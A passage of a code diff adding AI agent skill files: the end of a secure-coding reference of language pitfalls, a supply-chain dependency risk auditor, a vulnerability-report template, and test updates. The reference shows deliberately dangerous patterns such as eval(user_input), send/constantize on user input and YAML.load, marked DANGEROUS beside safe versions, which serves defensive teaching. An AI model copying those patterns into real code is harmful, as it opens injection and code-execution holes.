regex.test("aaaaaaaaaaaaaaaaaaaaaaaaaaaa!");
|
||||
// Exponential time - freezes the event loop
|
||||
|
||||
// Patterns to avoid: nested quantifiers (a+)+, (a*)*
|
||||
// Overlapping alternatives: (a|a)+
|
||||
```
|
||||
|
||||
### ParseInt Radix
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Radix not specified
|
||||
parseInt("08"); // 8 in modern JS, was 0 in old (octal)
|
||||
parseInt("0x10"); // 16 - hex prefix recognized
|
||||
|
||||
// SAFE: Always specify radix
|
||||
parseInt("08", 10); // 8
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Python
|
||||
|
||||
### Mutable Default Arguments
|
||||
|
||||
```python
|
||||
# DANGEROUS: Default is shared across calls
|
||||
def append_to(item, target=[]):
|
||||
target.append(item)
|
||||
return target
|
||||
|
||||
append_to(1) # [1]
|
||||
append_to(2) # [1, 2] - same list!
|
||||
|
||||
# SAFE: Use None sentinel
|
||||
def append_to(item, target=None):
|
||||
if target is None:
|
||||
target = []
|
||||
target.append(item)
|
||||
return target
|
||||
```
|
||||
|
||||
### Eval and Friends
|
||||
|
||||
```python
|
||||
# DANGEROUS: Arbitrary code execution
|
||||
eval(user_input) # Executes Python expression
|
||||
exec(user_input) # Executes Python statements
|
||||
compile(user_input, '', 'exec') # Compiles for later exec
|
||||
|
||||
# Also via:
|
||||
input() # In Python 2, equivalent to eval(raw_input())
|
||||
```
|
||||
|
||||
### Late Binding Closures
|
||||
|
||||
```python
|
||||
# DANGEROUS: Closures capture variable by reference
|
||||
funcs = []
|
||||
for i in range(3):
|
||||
funcs.append(lambda: i)
|
||||
|
||||
[f() for f in funcs] # [2, 2, 2] - all see final i
|
||||
|
||||
# SAFE: Capture by value with default argument
|
||||
funcs = []
|
||||
for i in range(3):
|
||||
funcs.append(lambda i=i: i)
|
||||
|
||||
[f() for f in funcs] # [0, 1, 2]
|
||||
```
|
||||
|
||||
### Is vs ==
|
||||
|
||||
```python
|
||||
# DANGEROUS: 'is' checks identity, not equality
|
||||
a = 256
|
||||
b = 256
|
||||
a is b # True - cached small integers
|
||||
|
||||
a = 257
|
||||
b = 257
|
||||
a is b # False - different objects!
|
||||
|
||||
# Same string issue:
|
||||
s1 = "hello"
|
||||
s2 = "hello"
|
||||
s1 is s2 # True - interned
|
||||
|
||||
s1 = "hello world"
|
||||
s2 = "hello world"
|
||||
s1 is s2 # Maybe - depends on interpreter
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ruby
|
||||
|
||||
### Dynamic Execution
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Arbitrary code execution
|
||||
eval(user_input) # Executes Ruby code
|
||||
send(user_input, *args) # Calls arbitrary method
|
||||
constantize(user_input) # Gets arbitrary constant/class
|
||||
public_send(user_input) # Calls public method by name
|
||||
|
||||
# Rails-specific:
|
||||
params[:controller].constantize # Class injection
|
||||
```
|
||||
|
||||
### YAML.load
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Arbitrary object instantiation (like pickle)
|
||||
YAML.load(user_input)
|
||||
|
||||
# Attacker sends YAML that instantiates arbitrary objects
|
||||
# Can chain to RCE via "gadget" classes
|
||||
|
||||
# SAFE: Use safe_load
|
||||
YAML.safe_load(user_input)
|
||||
```
|
||||
|
||||
### Mass Assignment
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: All params assigned to model
|
||||
User.new(params[:user]) # If params includes {admin: true}...
|
||||
|
||||
# Rails 4+ requires strong parameters:
|
||||
params.require(:user).permit(:name, :email) # Explicitly allowlist
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference Table
|
||||
|
||||
| Language | Primary Sharp Edges |
|
||||
|----------|-------------------|
|
||||
| C/C++ | Integer overflow UB, buffer overflows, format strings, memory cleanup |
|
||||
| Go | Silent int overflow, slice aliasing, interface nil, JSON case-insensitive |
|
||||
| Rust | Debug/release overflow difference, unsafe blocks, mem::forget |
|
||||
| Swift | Force unwrap, implicitly unwrapped optionals |
|
||||
| Java | == vs equals, type erasure, serialization, swallowed exceptions |
|
||||
| Kotlin | Platform types, !!, lateinit |
|
||||
| C# | NRT opt-in, default struct values, IDisposable leaks |
|
||||
| PHP | Type juggling (==), extract(), unserialize() |
|
||||
| JS/TS | == coercion, prototype pollution, ReDoS, parseInt radix |
|
||||
| Python | Mutable defaults, eval/exec/pickle, late binding, is vs == |
|
||||
| Ruby | eval/send/constantize, YAML.load, mass assignment |
|
||||
@@ -0,0 +1,62 @@
|
||||
---
|
||||
name: supply-chain-risk-auditor
|
||||
description: Identifies dependencies at heightened risk of exploitation or takeover. Use when assessing supply chain attack surface, evaluating dependency health, or scoping security engagements.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Supply Chain Risk Auditor
|
||||
|
||||
Activates when the user says "audit this project's dependencies".
|
||||
|
||||
## When to Use
|
||||
|
||||
- Assessing dependency risk before a security audit
|
||||
- Evaluating supply chain attack surface of a project
|
||||
- Identifying unmaintained or risky dependencies
|
||||
- Pre-engagement scoping for supply chain concerns
|
||||
|
||||
## When NOT to Use
|
||||
|
||||
- Active vulnerability scanning (use dedicated tools like npm audit, pip-audit)
|
||||
- Runtime dependency analysis
|
||||
- License compliance auditing
|
||||
|
||||
## Purpose
|
||||
|
||||
Systematically evaluate all dependencies of a project to identify red flags that indicate a high risk of exploitation or takeover, and generate a summary report noting these issues.
|
||||
|
||||
### Risk Criteria
|
||||
|
||||
A dependency is considered high-risk if it features any of the following risk factors:
|
||||
|
||||
* **Single maintainer or team of individuals** - The project is primarily or solely maintained by a single individual, or a small number of individuals. The project is not managed by an organization such as the Linux Foundation or a company such as Microsoft. If the individual is an extremely prolific and well-known contributor to the ecosystem, such as `sindresorhus` or Drew Devault, the risk is lessened but not eliminated. Conversely, if the individual is anonymous — that is, their GitHub identity is not readily tied to a real-world identity — the risk is significantly greater. **Justification:** If a developer is bribed or phished, they could unilaterally push malicious code. Consider the left-pad incident.
|
||||
* **Unmaintained** - The project is stale (no updates for a long period of time) or explicitly deprecated/archived. The maintainer may have put a note in the README.md or a GitHub issue that the project is inactive, understaffed, or seeking new maintainers. The project's GitHub repository may have a large number of issues noting bugs or security issues that the maintainers have not responded to. Feature request issues do NOT count. **Justification:** If vulnerabilities are identified in the project, they may not be patched in a timely manner.
|
||||
* **Low popularity:** The project has a relatively low number of GitHub stars and/or downloads compared to other dependencies used by the target. **Justification:** Fewer users means fewer eyes on the project. If malicious code is introduced, it will not be noticed in a timely manner.
|
||||
* **High-risk features:** The project implements features that by their nature are especially prone to exploitation, including FFI, deserialization, or third-party code execution. **Justification:** These dependencies are key to the target's security posture, and need to meet a high bar of scrutiny.
|
||||
* **Presence of past CVEs:** The project has high or critical severity CVEs, especially a large number relative to its popularity and complexity. **Justification:** This is not necessarily an indicator of concern for extremely popular projects that are simply subject to more scrutiny and thus are the subject of more security research.
|
||||
* **Absence of a security contact:** The project has no security contact listed in `.github/SECURITY.md`, `CONTRIBUTING.md`, `README.md`, etc., or separately on the project's website (if one exists). **Justification:** Individuals who discover a vulnerability will have difficulty reporting it in a safe and timely manner.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Ensure that the `gh` tool is available before continuing. Ask the user to install it if not found.
|
||||
|
||||
## Workflow (Initial Setup)
|
||||
|
||||
1. Create a `.supply-chain-risk-auditor` directory for your workspace.
|
||||
* Start a `results.md` report file based on `resources/results-template.md` in this skill directory.
|
||||
2. Find all git repositories for direct dependencies.
|
||||
3. Normalize the git repository entries to URLs — if they are just in name/project format, prepend the GitHub URL.
|
||||
|
||||
## Workflow (Dependency Audit)
|
||||
|
||||
1. For each dependency whose repository you identified in Initial Setup, evaluate its risk according to the Risk Criteria noted above.
|
||||
* For any criteria that require actions such as counting open GitHub issues, use the `gh` tool to query the exact data. It is vitally important that any numbers you cite (such as number of stars, open issues, and so on) are accurate. You may round numbers of issues and stars using ~ notation, e.g. "~4000 stars".
|
||||
2. If a dependency satisfies any of the Risk Criteria noted above, add it to the High-Risk Dependencies table in `results.md`, clearly noting your reason for flagging it as high-risk. For conciseness, skip low-risk dependencies; only note dependencies with at least one risk factor. Do not note "opposites" of risk factors like having a column for "organization backed (lower risk)" dependencies. The absence of a dependency from the report should be the indicator that it is low- or no-risk.
|
||||
|
||||
## Workflow (Post-Audit)
|
||||
|
||||
1. For each dependency in the High-Risk Dependencies table, fill out the Suggested Alternative field with an alternative dependency that performs the same or similar function but is more popular, better maintained, and so on. Prefer direct successors and drop-in replacements if available. Provide a short justification of your suggestion.
|
||||
2. Note the total counts for each risk factor category in the Counts by Risk Factor table, and summarize the overall security posture in the Executive Summary section.
|
||||
3. Summarize your recommendations under the Recommendations section.
|
||||
|
||||
**NOTE:** Do not add sections beyond those noted in `resources/results-template.md`.
|
||||
@@ -0,0 +1,41 @@
|
||||
# Supply Chain Risk Report
|
||||
|
||||
---
|
||||
|
||||
## Metadata
|
||||
|
||||
- **Scan Date**: [YYYY-MM-DD HH:MM:SS]
|
||||
- **Project**: [Project Name]
|
||||
- **Repositories Scanned**: [X repositories]
|
||||
- **Total Dependencies**: [Y dependencies]
|
||||
- **Scan Duration**: [Duration]
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
### Counts by Risk Factor
|
||||
|
||||
| Risk Factor | Dependencies | Total |
|
||||
|-------------|--------------|-------|
|
||||
| X | X, Y, Z... | # |
|
||||
| X | X, Y, Z... | # |
|
||||
| X | X, Y, Z... | # |
|
||||
| **Total** | — | **#** |
|
||||
|
||||
### High-Risk Dependencies
|
||||
|
||||
The following dependencies have two or more risk factors.
|
||||
|
||||
| Dependency Name | Risk Factors | Notes | Suggested Alternative |
|
||||
|-----------------|--------------|-------|-----------------------|
|
||||
| X | X, Y, Z | a short summary of the risk factors | **X** - short justification |
|
||||
| X | X, Y, Z | a short summary of the risk factors | **X** - short justification |
|
||||
| X | X, Y, Z | a short summary of the risk factors | **X** - short justification |
|
||||
|
||||
## Suggested Alternatives
|
||||
|
||||
## Report Generated By
|
||||
|
||||
Supply Chain Risk Auditor Skill
|
||||
Generated: [YYYY-MM-DD HH:MM:SS]
|
||||
@@ -0,0 +1,116 @@
|
||||
---
|
||||
name: vuln-report
|
||||
description: Draft a single-vulnerability report in GitHub advisory style from an audit finding, bug note, patch diff, PoC, or code review evidence. Use when the agent needs to turn one confirmed security issue into a clean disclosure-ready report with Summary, Details, Root Cause, Proof of Concept, Impact, embedded code snippets, explanatory prose that points to the vulnerable code, inline GitHub markdown links to source evidence, and clearly-scoped optional sections such as CWE, CVSS, references, attack preconditions, or patch metadata.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# Vulnerability Report
|
||||
|
||||
## Overview
|
||||
|
||||
Draft one disclosure-ready report for one confirmed bug. Keep the report evidence-driven, concrete, and concise. Prefer the section order and phrasing rules in [references/report-template.md](references/report-template.md).
|
||||
|
||||
## Workflow
|
||||
|
||||
1. Confirm the report is about one bug only.
|
||||
2. Extract the minimum facts needed to prove the issue:
|
||||
- vulnerable component or behavior
|
||||
- attacker-controlled input or missing validation
|
||||
- preconditions and trust boundary
|
||||
- exploit result
|
||||
- practical impact
|
||||
- strongest reproduction path
|
||||
- decisive source locations and any relevant fix commit
|
||||
3. Separate demonstrated facts from inference. State assumptions explicitly.
|
||||
4. Draft the report using the required section order from [references/report-template.md](references/report-template.md).
|
||||
5. Always embed at least one fenced code snippet from the decisive code path, and explain what each snippet proves.
|
||||
6. Always convert repository file references and patch references into GitHub markdown links, and prefer embedding those links directly into the surrounding explanation instead of listing them separately.
|
||||
7. Add only the optional sections that materially improve accuracy or triage value.
|
||||
8. Save the final report as `report.md` inside a folder named with the bug's severity identifier (`C1`, `H1`, `M1`, etc.) followed by a lowercase hyphenated slug derived from the final report title. Use `C` for Critical, `H` for High, `M` for Medium, sequentially numbered if there are multiple bugs of the same severity. Example: `C1-cross-site-websocket-hijacking-re-enabled-by-allow-websocket/report.md`. Also, ensure the bug report title and internal references use this ID (e.g., '[C1] Cross-Site WebSocket Hijacking'). Do not write reports for Low severity findings — document them in the summary table only.
|
||||
9. Remove filler, hedging, and unproven claims before finalizing.
|
||||
|
||||
## Required Sections
|
||||
|
||||
Always include these sections in this order:
|
||||
|
||||
1. `Summary`
|
||||
2. `Details`
|
||||
3. `Root Cause`
|
||||
4. `Proof of Concept (PoC)`
|
||||
5. `Impact`
|
||||
|
||||
If the repository already uses `Technical Details` with `Root Cause` nested under it, preserve that local pattern. Otherwise keep `Root Cause` as its own section.
|
||||
|
||||
## Evidence Rules
|
||||
|
||||
- Include one or more fenced code snippets in the report, usually in `Details` or `Root Cause`.
|
||||
- Use the smallest snippet that proves the bug.
|
||||
- Introduce each cited code location with a short explanation of why it matters; do not drop raw link lists without commentary.
|
||||
- Add GitHub markdown links for source files, line anchors, controllers, helpers, patch commits, or affected surfaces whenever the repository is on GitHub and the target URL is known or can be derived.
|
||||
- When constructing GitHub source links, use the latest commit SHA (from `git rev-parse HEAD` or the most recent commit visible in context) instead of a branch name such as `main` or `master`, so links remain stable after future commits.
|
||||
- Prefer embedding inline markdown links into explanatory sentences such as `The following code in [build_request](https://github.com/org/repo/blob/main/src/executor.rs#L10) reads attacker-controlled input without validation.`
|
||||
- Keep non-GitHub standards or spec citations as normal markdown links.
|
||||
|
||||
## Self-Contained Rule
|
||||
|
||||
`report.md` is a disclosure-ready artefact. The reader must understand the vulnerability, the trace, the impact, and the reproduction without opening any sibling working file (drafts, debate transcripts, review notes, internal metadata).
|
||||
|
||||
- Do not write prose pointers such as `See draft.md`, `See debate.md`, `See adversarial-review.md`, `See metadata.json`, `See pN-NNN for full trace`, `See AP-NNN`, `Refer to the draft for impact analysis`, or `for the full trace see ...`. If that content is needed in the report, **inline it**.
|
||||
- Do not cite internal phase IDs (`pN-NNN`, `p10-NNN`, `AP-NNN`) — these are pipeline bookkeeping, not reader-facing references.
|
||||
- Sibling-file references are only allowed for runnable evidence artefacts shipped alongside the report (e.g. `poc.<ext>`, `evidence/<file>`), and only inside the Proof of Concept or Impact sections. Quote the decisive lines from logs inline rather than telling the reader to open them.
|
||||
- GitHub links to source code (pinned to a commit SHA) are external evidence, not deferred narrative — those are required, not banned.
|
||||
- Before finalizing, scan the draft for the banned phrasings above and rewrite any occurrence to inline the content.
|
||||
|
||||
## Section Rules
|
||||
|
||||
### Summary
|
||||
|
||||
Open with the vulnerable behavior, attacker control, and outcome in one short paragraph. Name the component only if it improves clarity.
|
||||
|
||||
### Details
|
||||
|
||||
Explain the code path and why the protection fails. Include relevant conditions such as auth mode, stateless mode, parser behavior, MIME confusion, or transport assumptions. Support the explanation with code snippets and GitHub markdown links to the exact source locations.
|
||||
|
||||
### Root Cause
|
||||
|
||||
State the design or implementation mistake in one focused subsection. Prefer causal language such as missing origin validation, unsafe trust in extension-derived MIME, or policy enforced only in one execution mode.
|
||||
|
||||
### Proof of Concept (PoC)
|
||||
|
||||
Use the shortest reliable reproduction. Prefer numbered steps and a runnable request, command, or code block. State the expected result.
|
||||
|
||||
### Impact
|
||||
|
||||
Describe exploitability and consequence, not just severity labels. Cover who is exposed, what an attacker gains, and which environments are most at risk.
|
||||
|
||||
## Optional Sections
|
||||
|
||||
Include an optional section only when it adds concrete triage value.
|
||||
|
||||
Allowed optional sections include:
|
||||
|
||||
- short report title at the top
|
||||
- vulnerability type
|
||||
- `CWE`
|
||||
- `CVSS` vector or severity guidance
|
||||
- attack preconditions or authentication reality
|
||||
- affected surfaces or scope notes
|
||||
- specification or guidance references
|
||||
- patch or fix-commit metadata
|
||||
- exploit constraints, non-default assumptions, or deployment qualifiers
|
||||
|
||||
Do not add `Affected Components` or `Remediation` sections unless the user explicitly asks for them.
|
||||
|
||||
## Quality Bar
|
||||
|
||||
- Keep one bug per report.
|
||||
- Number bugs using severity prefixes (C1, H1, M1) and prefix both the report title and the folder name with this ID. Low severity findings are not reported individually.
|
||||
- Save each single-bug report to `<ID>-<title-slug>/report.md`.
|
||||
- Make the exploit story readable without external context — and explicitly without opening any sibling working file (`draft.md`, `debate.md`, `adversarial-review.md`, `metadata.json`). See the Self-Contained Rule.
|
||||
- No pointer prose to sibling narrative files or internal phase IDs (`pN-NNN`, `AP-NNN`). Inline the content.
|
||||
- Use exact file paths, endpoints, headers, options, or modes when they matter.
|
||||
- Distinguish observed behavior from likely impact.
|
||||
- Prefer measured severity language over inflated claims.
|
||||
- Preserve repository-specific terminology if the source material already uses it.
|
||||
- Include fenced code snippets and GitHub markdown links in every report.
|
||||
- End with a report that can be pasted into an advisory, audit finding, or maintainer issue with minimal cleanup.
|
||||
@@ -0,0 +1,120 @@
|
||||
# Report Template
|
||||
|
||||
Use this template for a single confirmed vulnerability. Remove placeholder notes before final output.
|
||||
|
||||
## Required Shape
|
||||
|
||||
Save the final report as `report.md` inside a folder named with a lowercase hyphenated slug derived from the final report title.
|
||||
|
||||
```md
|
||||
# Optional short title
|
||||
|
||||
## Summary
|
||||
|
||||
[One paragraph: vulnerable behavior, attacker control, outcome.]
|
||||
|
||||
## Details
|
||||
|
||||
[Explain the execution path, validation gap, parser behavior, state assumptions, and why the protection fails.]
|
||||
|
||||
Relevant source:
|
||||
- [`path/to/file.ext`](https://github.com/org/repo/blob/main/path/to/file.ext#L10)
|
||||
- [`path/to/helper.ext`](https://github.com/org/repo/blob/main/path/to/helper.ext#L22)
|
||||
|
||||
```language
|
||||
// Small decisive snippet from the vulnerable path
|
||||
```
|
||||
|
||||
## Root Cause
|
||||
|
||||
[Name the specific implementation or design flaw that makes the bug possible.]
|
||||
|
||||
## Proof of Concept (PoC)
|
||||
|
||||
1. [Setup step]
|
||||
2. [Exploit step]
|
||||
3. [Observed or expected result]
|
||||
|
||||
```bash
|
||||
# Minimal reproducible command or request
|
||||
```
|
||||
|
||||
## Impact
|
||||
|
||||
[State who is affected, under what conditions, and what the attacker can achieve.]
|
||||
```
|
||||
|
||||
## Optional Sections
|
||||
|
||||
Insert these only when supported by evidence and useful to the reader:
|
||||
|
||||
- `Vulnerability Type`
|
||||
- `CWE`
|
||||
- `CVSS v3.1`
|
||||
- `Authentication Reality`
|
||||
- `Affected Surfaces`
|
||||
- `Specification and Guidance References`
|
||||
- `Patch Commit`
|
||||
- `Scope`
|
||||
- `Exploit Constraints`
|
||||
|
||||
## Writing Rules
|
||||
|
||||
### Global
|
||||
|
||||
- Include fenced code snippets in every report.
|
||||
- Use GitHub markdown links for repository files, line anchors, and commits.
|
||||
- Prefer linked file paths over bare URLs.
|
||||
- Store the finished report at `<title-slug>/report.md`, where `<title-slug>` is derived from the final title.
|
||||
|
||||
### Summary
|
||||
|
||||
- Keep it to one paragraph.
|
||||
- Mention the attacker-controlled input or missing validation.
|
||||
- State the resulting security effect.
|
||||
|
||||
### Details
|
||||
|
||||
- Walk from input to sink.
|
||||
- Name the exact branch, handler, parser, or validation gate when known.
|
||||
- Include code snippets for the decisive check or omission.
|
||||
- Add GitHub markdown links next to the source references.
|
||||
- Record deployment-specific assumptions explicitly.
|
||||
|
||||
### Root Cause
|
||||
|
||||
- State the fault, not the symptom.
|
||||
- Tie the fault to the exploit path from `Details`.
|
||||
|
||||
### Proof of Concept (PoC)
|
||||
|
||||
- Prefer the highest-confidence path.
|
||||
- Keep steps deterministic.
|
||||
- Say what result confirms success.
|
||||
- Use `Expected result:` when the effect is not obvious from the command alone.
|
||||
|
||||
### Impact
|
||||
|
||||
- Explain practical consequence first.
|
||||
- Add severity signals such as CVSS only if they help triage.
|
||||
- Distinguish default exposure from non-default but realistic exposure.
|
||||
|
||||
## Normalization Rules
|
||||
|
||||
Normalize inconsistent source material into this shape:
|
||||
|
||||
- Fold `Technical Details` into `Details` unless the repository clearly prefers the longer heading.
|
||||
- Keep `Root Cause` nested under `Technical Details` only when matching an established house style.
|
||||
- Convert loose notes into concrete statements with actor, condition, and outcome.
|
||||
- Remove duplicate impact language repeated across sections.
|
||||
- Replace plain repository paths with GitHub markdown links whenever possible.
|
||||
|
||||
## Do Not Do This
|
||||
|
||||
- Do not combine multiple bugs in one report.
|
||||
- Do not add `Affected Components` or `Remediation` sections by default.
|
||||
- Do not use bare repository paths when a GitHub markdown link is available.
|
||||
- Do not claim code execution, data exposure, or auth bypass unless the evidence supports it.
|
||||
- Do not bury the main exploit condition inside a long background section.
|
||||
- Do not point the reader at sibling working files. Phrases like `See draft.md`, `See debate.md`, `See adversarial-review.md`, `See metadata.json`, `See pN-NNN for full trace`, `See AP-NNN`, `Refer to the draft for impact analysis`, or `for the full trace see ...` are banned. If the trace, hypothesis, impact, or adversarial review outcome is needed, inline it. The only sibling files a `report.md` may reference are runnable evidence artefacts (`poc.<ext>`, `evidence/<file>`) shipped alongside it.
|
||||
- Do not cite internal audit phase IDs (`pN-NNN`, `p10-NNN`, `AP-NNN`) — these are pipeline bookkeeping, not reader-facing references.
|
||||
@@ -24,7 +24,7 @@ test("Codex plugin exposes every bundled skill with valid basic frontmatter", ()
|
||||
const names = readdirSync(join(REPO, "skills"))
|
||||
.filter((name) => existsSync(join(REPO, "skills", name, "SKILL.md")));
|
||||
|
||||
assert.equal(names.length, 12);
|
||||
assert.equal(names.length, 20);
|
||||
for (const name of names) {
|
||||
const source = readFileSync(join(REPO, "skills", name, "SKILL.md"), "utf8");
|
||||
assert.match(source, /^---\r?\n/);
|
||||
|
||||
@@ -13,10 +13,10 @@ test("Pi package declares the bundled skills directory", () => {
|
||||
assert.match(packageJson.description, /Pi/);
|
||||
});
|
||||
|
||||
test("Pi package exposes all twelve SKILL.md workflows", () => {
|
||||
test("Pi package exposes all twenty SKILL.md workflows", () => {
|
||||
const skillRoot = join(REPO, packageJson.pi.skills[0]);
|
||||
const skills = readdirSync(skillRoot)
|
||||
.filter((name) => existsSync(join(skillRoot, name, "SKILL.md")));
|
||||
|
||||
assert.equal(skills.length, 12);
|
||||
assert.equal(skills.length, 20);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user